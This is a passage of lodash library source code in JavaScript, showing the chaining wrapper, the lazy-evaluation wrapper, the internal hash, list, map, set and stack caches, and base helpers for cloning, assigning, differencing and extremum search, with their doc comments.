/*------------------------------------------------------------------------*/
/**
* Creates a `lodash` object which wraps `value` to enable implicit method
* chain sequences. Methods that operate on and return arrays, collections,
* and functions can be chained together. Methods that retrieve a single value
* or may return a primitive value will automatically end the chain sequence
* and return the unwrapped value. Otherwise, the value must be unwrapped
* with `_#value`.
*
* Explicit chain sequences, which must be unwrapped with `_#value`, may be
* enabled using `_.chain`.
*
* The execution of chained methods is lazy, that is, it's deferred until
* `_#value` is implicitly or explicitly called.
*
* Lazy evaluation allows several methods to support shortcut fusion.
* Shortcut fusion is an optimization to merge iteratee calls; this avoids
* the creation of intermediate arrays and can greatly reduce the number of
* iteratee executions. Sections of a chain sequence qualify for shortcut
* fusion if the section is applied to an array and iteratees accept only
* one argument. The heuristic for whether a section qualifies for shortcut
* fusion is subject to change.
*
* Chaining is supported in custom builds as long as the `_#value` method is
* directly or indirectly included in the build.
*
* In addition to lodash methods, wrappers have `Array` and `String` methods.
*
* The wrapper `Array` methods are:
* `concat`, `join`, `pop`, `push`, `shift`, `sort`, `splice`, and `unshift`
*
* The wrapper `String` methods are:
* `replace` and `split`
*
* The wrapper methods that support shortcut fusion are:
* `at`, `compact`, `drop`, `dropRight`, `dropWhile`, `filter`, `find`,
* `findLast`, `head`, `initial`, `last`, `map`, `reject`, `reverse`, `slice`,
* `tail`, `take`, `takeRight`, `takeRightWhile`, `takeWhile`, and `toArray`
*
* The chainable wrapper methods are:
* `after`, `ary`, `assign`, `assignIn`, `assignInWith`, `assignWith`, `at`,
* `before`, `bind`, `bindAll`, `bindKey`, `castArray`, `chain`, `chunk`,
* `commit`, `compact`, `concat`, `conforms`, `constant`, `countBy`, `create`,
* `curry`, `debounce`, `defaults`, `defaultsDeep`, `defer`, `delay`,
* `difference`, `differenceBy`, `differenceWith`, `drop`, `dropRight`,
* `dropRightWhile`, `dropWhile`, `extend`, `extendWith`, `fill`, `filter`,
* `flatMap`, `flatMapDeep`, `flatMapDepth`, `flatten`, `flattenDeep`,
* `flattenDepth`, `flip`, `flow`, `flowRight`, `fromPairs`, `functions`,
* `functionsIn`, `groupBy`, `initial`, `intersection`, `intersectionBy`,
* `intersectionWith`, `invert`, `invertBy`, `invokeMap`, `iteratee`, `keyBy`,
* `keys`, `keysIn`, `map`, `mapKeys`, `mapValues`, `matches`, `matchesProperty`,
* `memoize`, `merge`, `mergeWith`, `method`, `methodOf`, `mixin`, `negate`,
* `nthArg`, `omit`, `omitBy`, `once`, `orderBy`, `over`, `overArgs`,
* `overEvery`, `overSome`, `partial`, `partialRight`, `partition`, `pick`,
* `pickBy`, `plant`, `property`, `propertyOf`, `pull`, `pullAll`, `pullAllBy`,
* `pullAllWith`, `pullAt`, `push`, `range`, `rangeRight`, `rearg`, `reject`,
* `remove`, `rest`, `reverse`, `sampleSize`, `set`, `setWith`, `shuffle`,
* `slice`, `sort`, `sortBy`, `splice`, `spread`, `tail`, `take`, `takeRight`,
* `takeRightWhile`, `takeWhile`, `tap`, `throttle`, `thru`, `toArray`,
* `toPairs`, `toPairsIn`, `toPath`, `toPlainObject`, `transform`, `unary`,
* `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`,
* `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`,
* `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`,
* `zipObject`, `zipObjectDeep`, and `zipWith`
*
* The wrapper methods that are **not** chainable by default are:
* `add`, `attempt`, `camelCase`, `capitalize`, `ceil`, `clamp`, `clone`,
* `cloneDeep`, `cloneDeepWith`, `cloneWith`, `conformsTo`, `deburr`,
* `defaultTo`, `divide`, `each`, `eachRight`, `endsWith`, `eq`, `escape`,
* `escapeRegExp`, `every`, `find`, `findIndex`, `findKey`, `findLast`,
* `findLastIndex`, `findLastKey`, `first`, `floor`, `forEach`, `forEachRight`,
* `forIn`, `forInRight`, `forOwn`, `forOwnRight`, `get`, `gt`, `gte`, `has`,
* `hasIn`, `head`, `identity`, `includes`, `indexOf`, `inRange`, `invoke`,
* `isArguments`, `isArray`, `isArrayBuffer`, `isArrayLike`, `isArrayLikeObject`,
* `isBoolean`, `isBuffer`, `isDate`, `isElement`, `isEmpty`, `isEqual`,
* `isEqualWith`, `isError`, `isFinite`, `isFunction`, `isInteger`, `isLength`,
* `isMap`, `isMatch`, `isMatchWith`, `isNaN`, `isNative`, `isNil`, `isNull`,
* `isNumber`, `isObject`, `isObjectLike`, `isPlainObject`, `isRegExp`,
* `isSafeInteger`, `isSet`, `isString`, `isUndefined`, `isTypedArray`,
* `isWeakMap`, `isWeakSet`, `join`, `kebabCase`, `last`, `lastIndexOf`,
* `lowerCase`, `lowerFirst`, `lt`, `lte`, `max`, `maxBy`, `mean`, `meanBy`,
* `min`, `minBy`, `multiply`, `noConflict`, `noop`, `now`, `nth`, `pad`,
* `padEnd`, `padStart`, `parseInt`, `pop`, `random`, `reduce`, `reduceRight`,
* `repeat`, `result`, `round`, `runInContext`, `sample`, `shift`, `size`,
* `snakeCase`, `some`, `sortedIndex`, `sortedIndexBy`, `sortedLastIndex`,
* `sortedLastIndexBy`, `startCase`, `startsWith`, `stubArray`, `stubFalse`,
* `stubObject`, `stubString`, `stubTrue`, `subtract`, `sum`, `sumBy`,
* `template`, `times`, `toFinite`, `toInteger`, `toJSON`, `toLength`,
* `toLower`, `toNumber`, `toSafeInteger`, `toString`, `toUpper`, `trim`,
* `trimEnd`, `trimStart`, `truncate`, `unescape`, `uniqueId`, `upperCase`,
* `upperFirst`, `value`, and `words`
*
* @name _
* @constructor
* @category Seq
* @param {*} value The value to wrap in a `lodash` instance.
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* function square(n) {
* return n * n;
* }
*
* var wrapped = _([1, 2, 3]);
*
* // Returns an unwrapped value.
* wrapped.reduce(_.add);
* // => 6
*
* // Returns a wrapped value.
* var squares = wrapped.map(square);
*
* _.isArray(squares);
* // => false
*
* _.isArray(squares.value());
* // => true
*/
function lodash(value) {
if (isObjectLike(value) && !isArray(value) && !(value instanceof LazyWrapper)) {
if (value instanceof LodashWrapper) {
return value;
}
if (hasOwnProperty.call(value, '__wrapped__')) {
return wrapperClone(value);
}
}
return new LodashWrapper(value);
}
/**
* The base implementation of `_.create` without support for assigning
* properties to the created object.
*
* @private
* @param {Object} proto The object to inherit from.
* @returns {Object} Returns the new object.
*/
var baseCreate = (function() {
function object() {}
return function(proto) {
if (!isObject(proto)) {
return {};
}
if (objectCreate) {
return objectCreate(proto);
}
object.prototype = proto;
var result = new object;
object.prototype = undefined;
return result;
};
}());
/**
* The function whose prototype chain sequence wrappers inherit from.
*
* @private
*/
function baseLodash() {
// No operation performed.
}
/**
* The base constructor for creating `lodash` wrapper objects.
*
* @private
* @param {*} value The value to wrap.
* @param {boolean} [chainAll] Enable explicit method chain sequences.
*/
function LodashWrapper(value, chainAll) {
this.__wrapped__ = value;
this.__actions__ = [];
this.__chain__ = !!chainAll;
this.__index__ = 0;
this.__values__ = undefined;
}
/**
* By default, the template delimiters used by lodash are like those in
* embedded Ruby (ERB) as well as ES2015 template strings. Change the
* following template settings to use alternative delimiters.
*
* @static
* @memberOf _
* @type {Object}
*/
lodash.templateSettings = {
/**
* Used to detect `data` property values to be HTML-escaped.
*
* @memberOf _.templateSettings
* @type {RegExp}
*/
'escape': reEscape,
/**
* Used to detect code to be evaluated.
*
* @memberOf _.templateSettings
* @type {RegExp}
*/
'evaluate': reEvaluate,
/**
* Used to detect `data` property values to inject.
*
* @memberOf _.templateSettings
* @type {RegExp}
*/
'interpolate': reInterpolate,
/**
* Used to reference the data object in the template text.
*
* @memberOf _.templateSettings
* @type {string}
*/
'variable': '',
/**
* Used to import variables into the compiled template.
*
* @memberOf _.templateSettings
* @type {Object}
*/
'imports': {
/**
* A reference to the `lodash` function.
*
* @memberOf _.templateSettings.imports
* @type {Function}
*/
'_': lodash
}
};
// Ensure wrappers are instances of `baseLodash`.
lodash.prototype = baseLodash.prototype;
lodash.prototype.constructor = lodash;
LodashWrapper.prototype = baseCreate(baseLodash.prototype);
LodashWrapper.prototype.constructor = LodashWrapper;
/*------------------------------------------------------------------------*/
/**
* Creates a lazy wrapper object which wraps `value` to enable lazy evaluation.
*
* @private
* @constructor
* @param {*} value The value to wrap.
*/
function LazyWrapper(value) {
this.__wrapped__ = value;
this.__actions__ = [];
this.__dir__ = 1;
this.__filtered__ = false;
this.__iteratees__ = [];
this.__takeCount__ = MAX_ARRAY_LENGTH;
this.__views__ = [];
}
/**
* Creates a clone of the lazy wrapper object.
*
* @private
* @name clone
* @memberOf LazyWrapper
* @returns {Object} Returns the cloned `LazyWrapper` object.
*/
function lazyClone() {
var result = new LazyWrapper(this.__wrapped__);
result.__actions__ = copyArray(this.__actions__);
result.__dir__ = this.__dir__;
result.__filtered__ = this.__filtered__;
result.__iteratees__ = copyArray(this.__iteratees__);
result.__takeCount__ = this.__takeCount__;
result.__views__ = copyArray(this.__views__);
return result;
}
/**
* Reverses the direction of lazy iteration.
*
* @private
* @name reverse
* @memberOf LazyWrapper
* @returns {Object} Returns the new reversed `LazyWrapper` object.
*/
function lazyReverse() {
if (this.__filtered__) {
var result = new LazyWrapper(this);
result.__dir__ = -1;
result.__filtered__ = true;
} else {
result = this.clone();
result.__dir__ *= -1;
}
return result;
}
/**
* Extracts the unwrapped value from its lazy wrapper.
*
* @private
* @name value
* @memberOf LazyWrapper
* @returns {*} Returns the unwrapped value.
*/
function lazyValue() {
var array = this.__wrapped__.value(),
dir = this.__dir__,
isArr = isArray(array),
isRight = dir < 0,
arrLength = isArr ? array.length : 0,
view = getView(0, arrLength, this.__views__),
start = view.start,
end = view.end,
length = end - start,
index = isRight ? end : (start - 1),
iteratees = this.__iteratees__,
iterLength = iteratees.length,
resIndex = 0,
takeCount = nativeMin(length, this.__takeCount__);
if (!isArr || (!isRight && arrLength == length && takeCount == length)) {
return baseWrapperValue(array, this.__actions__);
}
var result = [];
outer:
while (length-- && resIndex < takeCount) {
index += dir;
var iterIndex = -1,
value = array[index];
while (++iterIndex < iterLength) {
var data = iteratees[iterIndex],
iteratee = data.iteratee,
type = data.type,
computed = iteratee(value);
if (type == LAZY_MAP_FLAG) {
value = computed;
} else if (!computed) {
if (type == LAZY_FILTER_FLAG) {
continue outer;
} else {
break outer;
}
}
}
result[resIndex++] = value;
}
return result;
}
// Ensure `LazyWrapper` is an instance of `baseLodash`.
LazyWrapper.prototype = baseCreate(baseLodash.prototype);
LazyWrapper.prototype.constructor = LazyWrapper;
/*------------------------------------------------------------------------*/
/**
* Creates a hash object.
*
* @private
* @constructor
* @param {Array} [entries] The key-value pairs to cache.
*/
function Hash(entries) {
var index = -1,
length = entries == null ? 0 : entries.length;
this.clear();
while (++index < length) {
var entry = entries[index];
this.set(entry[0], entry[1]);
}
}
/**
* Removes all key-value entries from the hash.
*
* @private
* @name clear
* @memberOf Hash
*/
function hashClear() {
this.__data__ = nativeCreate ? nativeCreate(null) : {};
this.size = 0;
}
/**
* Removes `key` and its value from the hash.
*
* @private
* @name delete
* @memberOf Hash
* @param {Object} hash The hash to modify.
* @param {string} key The key of the value to remove.
* @returns {boolean} Returns `true` if the entry was removed, else `false`.
*/
function hashDelete(key) {
var result = this.has(key) && delete this.__data__[key];
this.size -= result ? 1 : 0;
return result;
}
/**
* Gets the hash value for `key`.
*
* @private
* @name get
* @memberOf Hash
* @param {string} key The key of the value to get.
* @returns {*} Returns the entry value.
*/
function hashGet(key) {
var data = this.__data__;
if (nativeCreate) {
var result = data[key];
return result === HASH_UNDEFINED ? undefined : result;
}
return hasOwnProperty.call(data, key) ? data[key] : undefined;
}
/**
* Checks if a hash value for `key` exists.
*
* @private
* @name has
* @memberOf Hash
* @param {string} key The key of the entry to check.
* @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
*/
function hashHas(key) {
var data = this.__data__;
return nativeCreate ? (data[key] !== undefined) : hasOwnProperty.call(data, key);
}
/**
* Sets the hash `key` to `value`.
*
* @private
* @name set
* @memberOf Hash
* @param {string} key The key of the value to set.
* @param {*} value The value to set.
* @returns {Object} Returns the hash instance.
*/
function hashSet(key, value) {
var data = this.__data__;
this.size += this.has(key) ? 0 : 1;
data[key] = (nativeCreate && value === undefined) ? HASH_UNDEFINED : value;
return this;
}
// Add methods to `Hash`.
Hash.prototype.clear = hashClear;
Hash.prototype['delete'] = hashDelete;
Hash.prototype.get = hashGet;
Hash.prototype.has = hashHas;
Hash.prototype.set = hashSet;
/*------------------------------------------------------------------------*/
/**
* Creates an list cache object.
*
* @private
* @constructor
* @param {Array} [entries] The key-value pairs to cache.
*/
function ListCache(entries) {
var index = -1,
length = entries == null ? 0 : entries.length;
this.clear();
while (++index < length) {
var entry = entries[index];
this.set(entry[0], entry[1]);
}
}
/**
* Removes all key-value entries from the list cache.
*
* @private
* @name clear
* @memberOf ListCache
*/
function listCacheClear() {
this.__data__ = [];
this.size = 0;
}
/**
* Removes `key` and its value from the list cache.
*
* @private
* @name delete
* @memberOf ListCache
* @param {string} key The key of the value to remove.
* @returns {boolean} Returns `true` if the entry was removed, else `false`.
*/
function listCacheDelete(key) {
var data = this.__data__,
index = assocIndexOf(data, key);
if (index < 0) {
return false;
}
var lastIndex = data.length - 1;
if (index == lastIndex) {
data.pop();
} else {
splice.call(data, index, 1);
}
--this.size;
return true;
}
/**
* Gets the list cache value for `key`.
*
* @private
* @name get
* @memberOf ListCache
* @param {string} key The key of the value to get.
* @returns {*} Returns the entry value.
*/
function listCacheGet(key) {
var data = this.__data__,
index = assocIndexOf(data, key);
return index < 0 ? undefined : data[index][1];
}
/**
* Checks if a list cache value for `key` exists.
*
* @private
* @name has
* @memberOf ListCache
* @param {string} key The key of the entry to check.
* @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
*/
function listCacheHas(key) {
return assocIndexOf(this.__data__, key) > -1;
}
/**
* Sets the list cache `key` to `value`.
*
* @private
* @name set
* @memberOf ListCache
* @param {string} key The key of the value to set.
* @param {*} value The value to set.
* @returns {Object} Returns the list cache instance.
*/
function listCacheSet(key, value) {
var data = this.__data__,
index = assocIndexOf(data, key);
if (index < 0) {
++this.size;
data.push([key, value]);
} else {
data[index][1] = value;
}
return this;
}
// Add methods to `ListCache`.
ListCache.prototype.clear = listCacheClear;
ListCache.prototype['delete'] = listCacheDelete;
ListCache.prototype.get = listCacheGet;
ListCache.prototype.has = listCacheHas;
ListCache.prototype.set = listCacheSet;
/*------------------------------------------------------------------------*/
/**
* Creates a map cache object to store key-value pairs.
*
* @private
* @constructor
* @param {Array} [entries] The key-value pairs to cache.
*/
function MapCache(entries) {
var index = -1,
length = entries == null ? 0 : entries.length;
this.clear();
while (++index < length) {
var entry = entries[index];
this.set(entry[0], entry[1]);
}
}
/**
* Removes all key-value entries from the map.
*
* @private
* @name clear
* @memberOf MapCache
*/
function mapCacheClear() {
this.size = 0;
this.__data__ = {
'hash': new Hash,
'map': new (Map || ListCache),
'string': new Hash
};
}
/**
* Removes `key` and its value from the map.
*
* @private
* @name delete
* @memberOf MapCache
* @param {string} key The key of the value to remove.
* @returns {boolean} Returns `true` if the entry was removed, else `false`.
*/
function mapCacheDelete(key) {
var result = getMapData(this, key)['delete'](key);
this.size -= result ? 1 : 0;
return result;
}
/**
* Gets the map value for `key`.
*
* @private
* @name get
* @memberOf MapCache
* @param {string} key The key of the value to get.
* @returns {*} Returns the entry value.
*/
function mapCacheGet(key) {
return getMapData(this, key).get(key);
}
/**
* Checks if a map value for `key` exists.
*
* @private
* @name has
* @memberOf MapCache
* @param {string} key The key of the entry to check.
* @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
*/
function mapCacheHas(key) {
return getMapData(this, key).has(key);
}
/**
* Sets the map `key` to `value`.
*
* @private
* @name set
* @memberOf MapCache
* @param {string} key The key of the value to set.
* @param {*} value The value to set.
* @returns {Object} Returns the map cache instance.
*/
function mapCacheSet(key, value) {
var data = getMapData(this, key),
size = data.size;
data.set(key, value);
this.size += data.size == size ? 0 : 1;
return this;
}
// Add methods to `MapCache`.
MapCache.prototype.clear = mapCacheClear;
MapCache.prototype['delete'] = mapCacheDelete;
MapCache.prototype.get = mapCacheGet;
MapCache.prototype.has = mapCacheHas;
MapCache.prototype.set = mapCacheSet;
/*------------------------------------------------------------------------*/
/**
*
* Creates an array cache object to store unique values.
*
* @private
* @constructor
* @param {Array} [values] The values to cache.
*/
function SetCache(values) {
var index = -1,
length = values == null ? 0 : values.length;
this.__data__ = new MapCache;
while (++index < length) {
this.add(values[index]);
}
}
/**
* Adds `value` to the array cache.
*
* @private
* @name add
* @memberOf SetCache
* @alias push
* @param {*} value The value to cache.
* @returns {Object} Returns the cache instance.
*/
function setCacheAdd(value) {
this.__data__.set(value, HASH_UNDEFINED);
return this;
}
/**
* Checks if `value` is in the array cache.
*
* @private
* @name has
* @memberOf SetCache
* @param {*} value The value to search for.
* @returns {number} Returns `true` if `value` is found, else `false`.
*/
function setCacheHas(value) {
return this.__data__.has(value);
}
// Add methods to `SetCache`.
SetCache.prototype.add = SetCache.prototype.push = setCacheAdd;
SetCache.prototype.has = setCacheHas;
/*------------------------------------------------------------------------*/
/**
* Creates a stack cache object to store key-value pairs.
*
* @private
* @constructor
* @param {Array} [entries] The key-value pairs to cache.
*/
function Stack(entries) {
var data = this.__data__ = new ListCache(entries);
this.size = data.size;
}
/**
* Removes all key-value entries from the stack.
*
* @private
* @name clear
* @memberOf Stack
*/
function stackClear() {
this.__data__ = new ListCache;
this.size = 0;
}
/**
* Removes `key` and its value from the stack.
*
* @private
* @name delete
* @memberOf Stack
* @param {string} key The key of the value to remove.
* @returns {boolean} Returns `true` if the entry was removed, else `false`.
*/
function stackDelete(key) {
var data = this.__data__,
result = data['delete'](key);
this.size = data.size;
return result;
}
/**
* Gets the stack value for `key`.
*
* @private
* @name get
* @memberOf Stack
* @param {string} key The key of the value to get.
* @returns {*} Returns the entry value.
*/
function stackGet(key) {
return this.__data__.get(key);
}
/**
* Checks if a stack value for `key` exists.
*
* @private
* @name has
* @memberOf Stack
* @param {string} key The key of the entry to check.
* @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
*/
function stackHas(key) {
return this.__data__.has(key);
}
/**
* Sets the stack `key` to `value`.
*
* @private
* @name set
* @memberOf Stack
* @param {string} key The key of the value to set.
* @param {*} value The value to set.
* @returns {Object} Returns the stack cache instance.
*/
function stackSet(key, value) {
var data = this.__data__;
if (data instanceof ListCache) {
var pairs = data.__data__;
if (!Map || (pairs.length < LARGE_ARRAY_SIZE - 1)) {
pairs.push([key, value]);
this.size = ++data.size;
return this;
}
data = this.__data__ = new MapCache(pairs);
}
data.set(key, value);
this.size = data.size;
return this;
}
// Add methods to `Stack`.
Stack.prototype.clear = stackClear;
Stack.prototype['delete'] = stackDelete;
Stack.prototype.get = stackGet;
Stack.prototype.has = stackHas;
Stack.prototype.set = stackSet;
/*------------------------------------------------------------------------*/
/**
* Creates an array of the enumerable property names of the array-like `value`.
*
* @private
* @param {*} value The value to query.
* @param {boolean} inherited Specify returning inherited property names.
* @returns {Array} Returns the array of property names.
*/
function arrayLikeKeys(value, inherited) {
var isArr = isArray(value),
isArg = !isArr && isArguments(value),
isBuff = !isArr && !isArg && isBuffer(value),
isType = !isArr && !isArg && !isBuff && isTypedArray(value),
skipIndexes = isArr || isArg || isBuff || isType,
result = skipIndexes ? baseTimes(value.length, String) : [],
length = result.length;
for (var key in value) {
if ((inherited || hasOwnProperty.call(value, key)) &&
!(skipIndexes && (
// Safari 9 has enumerable `arguments.length` in strict mode.
key == 'length' ||
// Node.js 0.10 has enumerable non-index properties on buffers.
(isBuff && (key == 'offset' || key == 'parent')) ||
// PhantomJS 2 has enumerable non-index properties on typed arrays.
(isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset')) ||
// Skip index properties.
isIndex(key, length)
))) {
result.push(key);
}
}
return result;
}
/**
* A specialized version of `_.sample` for arrays.
*
* @private
* @param {Array} array The array to sample.
* @returns {*} Returns the random element.
*/
function arraySample(array) {
var length = array.length;
return length ? array[baseRandom(0, length - 1)] : undefined;
}
/**
* A specialized version of `_.sampleSize` for arrays.
*
* @private
* @param {Array} array The array to sample.
* @param {number} n The number of elements to sample.
* @returns {Array} Returns the random elements.
*/
function arraySampleSize(array, n) {
return shuffleSelf(copyArray(array), baseClamp(n, 0, array.length));
}
/**
* A specialized version of `_.shuffle` for arrays.
*
* @private
* @param {Array} array The array to shuffle.
* @returns {Array} Returns the new shuffled array.
*/
function arrayShuffle(array) {
return shuffleSelf(copyArray(array));
}
/**
* This function is like `assignValue` except that it doesn't assign
* `undefined` values.
*
* @private
* @param {Object} object The object to modify.
* @param {string} key The key of the property to assign.
* @param {*} value The value to assign.
*/
function assignMergeValue(object, key, value) {
if ((value !== undefined && !eq(object[key], value)) ||
(value === undefined && !(key in object))) {
baseAssignValue(object, key, value);
}
}
/**
* Assigns `value` to `key` of `object` if the existing value is not equivalent
* using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons.
*
* @private
* @param {Object} object The object to modify.
* @param {string} key The key of the property to assign.
* @param {*} value The value to assign.
*/
function assignValue(object, key, value) {
var objValue = object[key];
if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||
(value === undefined && !(key in object))) {
baseAssignValue(object, key, value);
}
}
/**
* Gets the index at which the `key` is found in `array` of key-value pairs.
*
* @private
* @param {Array} array The array to inspect.
* @param {*} key The key to search for.
* @returns {number} Returns the index of the matched value, else `-1`.
*/
function assocIndexOf(array, key) {
var length = array.length;
while (length--) {
if (eq(array[length][0], key)) {
return length;
}
}
return -1;
}
/**
* Aggregates elements of `collection` on `accumulator` with keys transformed
* by `iteratee` and values set by `setter`.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} setter The function to set `accumulator` values.
* @param {Function} iteratee The iteratee to transform keys.
* @param {Object} accumulator The initial aggregated object.
* @returns {Function} Returns `accumulator`.
*/
function baseAggregator(collection, setter, iteratee, accumulator) {
baseEach(collection, function(value, key, collection) {
setter(accumulator, value, iteratee(value), collection);
});
return accumulator;
}
/**
* The base implementation of `_.assign` without support for multiple sources
* or `customizer` functions.
*
* @private
* @param {Object} object The destination object.
* @param {Object} source The source object.
* @returns {Object} Returns `object`.
*/
function baseAssign(object, source) {
return object && copyObject(source, keys(source), object);
}
/**
* The base implementation of `_.assignIn` without support for multiple sources
* or `customizer` functions.
*
* @private
* @param {Object} object The destination object.
* @param {Object} source The source object.
* @returns {Object} Returns `object`.
*/
function baseAssignIn(object, source) {
return object && copyObject(source, keysIn(source), object);
}
/**
* The base implementation of `assignValue` and `assignMergeValue` without
* value checks.
*
* @private
* @param {Object} object The object to modify.
* @param {string} key The key of the property to assign.
* @param {*} value The value to assign.
*/
function baseAssignValue(object, key, value) {
if (key == '__proto__' && defineProperty) {
defineProperty(object, key, {
'configurable': true,
'enumerable': true,
'value': value,
'writable': true
});
} else {
object[key] = value;
}
}
/**
* The base implementation of `_.at` without support for individual paths.
*
* @private
* @param {Object} object The object to iterate over.
* @param {string[]} paths The property paths to pick.
* @returns {Array} Returns the picked elements.
*/
function baseAt(object, paths) {
var index = -1,
length = paths.length,
result = Array(length),
skip = object == null;
while (++index < length) {
result[index] = skip ? undefined : get(object, paths[index]);
}
return result;
}
/**
* The base implementation of `_.clamp` which doesn't coerce arguments.
*
* @private
* @param {number} number The number to clamp.
* @param {number} [lower] The lower bound.
* @param {number} upper The upper bound.
* @returns {number} Returns the clamped number.
*/
function baseClamp(number, lower, upper) {
if (number === number) {
if (upper !== undefined) {
number = number <= upper ? number : upper;
}
if (lower !== undefined) {
number = number >= lower ? number : lower;
}
}
return number;
}
/**
* The base implementation of `_.clone` and `_.cloneDeep` which tracks
* traversed objects.
*
* @private
* @param {*} value The value to clone.
* @param {boolean} bitmask The bitmask flags.
* 1 - Deep clone
* 2 - Flatten inherited properties
* 4 - Clone symbols
* @param {Function} [customizer] The function to customize cloning.
* @param {string} [key] The key of `value`.
* @param {Object} [object] The parent object of `value`.
* @param {Object} [stack] Tracks traversed objects and their clone counterparts.
* @returns {*} Returns the cloned value.
*/
function baseClone(value, bitmask, customizer, key, object, stack) {
var result,
isDeep = bitmask & CLONE_DEEP_FLAG,
isFlat = bitmask & CLONE_FLAT_FLAG,
isFull = bitmask & CLONE_SYMBOLS_FLAG;
if (customizer) {
result = object ? customizer(value, key, object, stack) : customizer(value);
}
if (result !== undefined) {
return result;
}
if (!isObject(value)) {
return value;
}
var isArr = isArray(value);
if (isArr) {
result = initCloneArray(value);
if (!isDeep) {
return copyArray(value, result);
}
} else {
var tag = getTag(value),
isFunc = tag == funcTag || tag == genTag;
if (isBuffer(value)) {
return cloneBuffer(value, isDeep);
}
if (tag == objectTag || tag == argsTag || (isFunc && !object)) {
result = (isFlat || isFunc) ? {} : initCloneObject(value);
if (!isDeep) {
return isFlat
? copySymbolsIn(value, baseAssignIn(result, value))
: copySymbols(value, baseAssign(result, value));
}
} else {
if (!cloneableTags[tag]) {
return object ? value : {};
}
result = initCloneByTag(value, tag, isDeep);
}
}
// Check for circular references and return its corresponding clone.
stack || (stack = new Stack);
var stacked = stack.get(value);
if (stacked) {
return stacked;
}
stack.set(value, result);
if (isSet(value)) {
value.forEach(function(subValue) {
result.add(baseClone(subValue, bitmask, customizer, subValue, value, stack));
});
} else if (isMap(value)) {
value.forEach(function(subValue, key) {
result.set(key, baseClone(subValue, bitmask, customizer, key, value, stack));
});
}
var keysFunc = isFull
? (isFlat ? getAllKeysIn : getAllKeys)
: (isFlat ? keysIn : keys);
var props = isArr ? undefined : keysFunc(value);
arrayEach(props || value, function(subValue, key) {
if (props) {
key = subValue;
subValue = value[key];
}
// Recursively populate clone (susceptible to call stack limits).
assignValue(result, key, baseClone(subValue, bitmask, customizer, key, value, stack));
});
return result;
}
/**
* The base implementation of `_.conforms` which doesn't clone `source`.
*
* @private
* @param {Object} source The object of property predicates to conform to.
* @returns {Function} Returns the new spec function.
*/
function baseConforms(source) {
var props = keys(source);
return function(object) {
return baseConformsTo(object, source, props);
};
}
/**
* The base implementation of `_.conformsTo` which accepts `props` to check.
*
* @private
* @param {Object} object The object to inspect.
* @param {Object} source The object of property predicates to conform to.
* @returns {boolean} Returns `true` if `object` conforms, else `false`.
*/
function baseConformsTo(object, source, props) {
var length = props.length;
if (object == null) {
return !length;
}
object = Object(object);
while (length--) {
var key = props[length],
predicate = source[key],
value = object[key];
if ((value === undefined && !(key in object)) || !predicate(value)) {
return false;
}
}
return true;
}
/**
* The base implementation of `_.delay` and `_.defer` which accepts `args`
* to provide to `func`.
*
* @private
* @param {Function} func The function to delay.
* @param {number} wait The number of milliseconds to delay invocation.
* @param {Array} args The arguments to provide to `func`.
* @returns {number|Object} Returns the timer id or timeout object.
*/
function baseDelay(func, wait, args) {
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
return setTimeout(function() { func.apply(undefined, args); }, wait);
}
/**
* The base implementation of methods like `_.difference` without support
* for excluding multiple arrays or iteratee shorthands.
*
* @private
* @param {Array} array The array to inspect.
* @param {Array} values The values to exclude.
* @param {Function} [iteratee] The iteratee invoked per element.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of filtered values.
*/
function baseDifference(array, values, iteratee, comparator) {
var index = -1,
includes = arrayIncludes,
isCommon = true,
length = array.length,
result = [],
valuesLength = values.length;
if (!length) {
return result;
}
if (iteratee) {
values = arrayMap(values, baseUnary(iteratee));
}
if (comparator) {
includes = arrayIncludesWith;
isCommon = false;
}
else if (values.length >= LARGE_ARRAY_SIZE) {
includes = cacheHas;
isCommon = false;
values = new SetCache(values);
}
outer:
while (++index < length) {
var value = array[index],
computed = iteratee == null ? value : iteratee(value);
value = (comparator || value !== 0) ? value : 0;
if (isCommon && computed === computed) {
var valuesIndex = valuesLength;
while (valuesIndex--) {
if (values[valuesIndex] === computed) {
continue outer;
}
}
result.push(value);
}
else if (!includes(values, computed, comparator)) {
result.push(value);
}
}
return result;
}
/**
* The base implementation of `_.forEach` without support for iteratee shorthands.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array|Object} Returns `collection`.
*/
var baseEach = createBaseEach(baseForOwn);
/**
* The base implementation of `_.forEachRight` without support for iteratee shorthands.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array|Object} Returns `collection`.
*/
var baseEachRight = createBaseEach(baseForOwnRight, true);
/**
* The base implementation of `_.every` without support for iteratee shorthands.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} predicate The function invoked per iteration.
* @returns {boolean} Returns `true` if all elements pass the predicate check,
* else `false`
*/
function baseEvery(collection, predicate) {
var result = true;
baseEach(collection, function(value, index, collection) {
result = !!predicate(value, index, collection);
return result;
});
return result;
}
/**
* The base implementation of methods like `_.max` and `_.min` which accepts a
* `comparator` to determine the extremum value.
*
* @private
* @param {Array} array The array to iterate over.
* @param {Function} iteratee The iteratee invoked per iteration.
* @param {Function} comparator The comparator used to compare values.
* @returns {*} Returns the extremum value.
*/
function baseExtremum(array, iteratee, comparator) {
var index = -1,
length = array.length;
while (++index < length) {
var value = array[index],
current = iteratee(value);
if (current != null && (computed === undefined
? (current === current && !isSymbol(current))
: comparator(current, computed)
)) {
var computed = current,
result = value;
}
}
return result;
}
/**
* The base implementation of `_.fill` without an iteratee call guard.
*
* @private
* @param {Array} array The array to fill.
* @param {*} value The value to fill `array` with.
* @param {number} [start=0] The start position.
* @param {number} [end=array.length] The end position.
* @returns {Array} Returns `array`.
*/
